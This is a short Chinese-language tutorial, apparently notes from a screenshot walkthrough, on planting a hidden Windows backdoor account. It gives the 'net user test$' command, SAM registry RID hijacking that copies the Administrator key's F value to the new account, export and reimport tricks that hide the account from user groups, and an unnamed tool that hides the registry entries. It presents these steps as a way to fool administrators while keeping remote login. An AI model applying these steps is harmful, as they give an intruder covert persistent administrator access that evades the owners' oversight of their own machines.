1.先通过命令创建隐藏账户
net user test$ 123.com /add
在net user
发现看不到用户 但是 在用户组是可以看到的
先把加入管理员组在禁用
我们可以把用户命名成上面一样的用户名 都是禁用状态 可以迷惑管理员
2.复制admin权限
打开注册表
打开注册表编辑器，点击：HKEY_LOCAL_MACHINE → SAM→SAM→Domains→Account→Users→Names→test$。看这个 ：test$就是我们刚刚创建的隐藏账户，如果sam 不能打开 说明没加权限
把完全控制勾上
在
就有了
Administrator 的key 是 1f4
找到：000001F4，点击进去，在右上角，找到 F 这个文件，点击打开，复制里面的数据。
复制到 000003F5 的F文件
这个时候我们再看用户组
用户已禁用已经没了 并且test$ 用户就是admin 用户了 头像也还是禁用状态 可以远程登录
这是admin 下创建的文件夹
远程连接
权限复制成功
3.用户组隐藏
要在用户组里也看不到隐藏账户 修改注册表
将000003F5，点击右键，将数据导出到桌面，命名为1。将TEST$,点击右键，将数据导出到桌面，命名为2。
命令把test$ 删除
net user test$ /del
在运行 1.reg 2.reg
只有在注册表能看见 用户组隐藏了
还是可以远程登录
4.注册表隐藏
把这个两个文件复制在主机上
把用户名和注册表键值填上
运行exe 自动隐藏
注册表也没了
试试还能不能登录
登录成功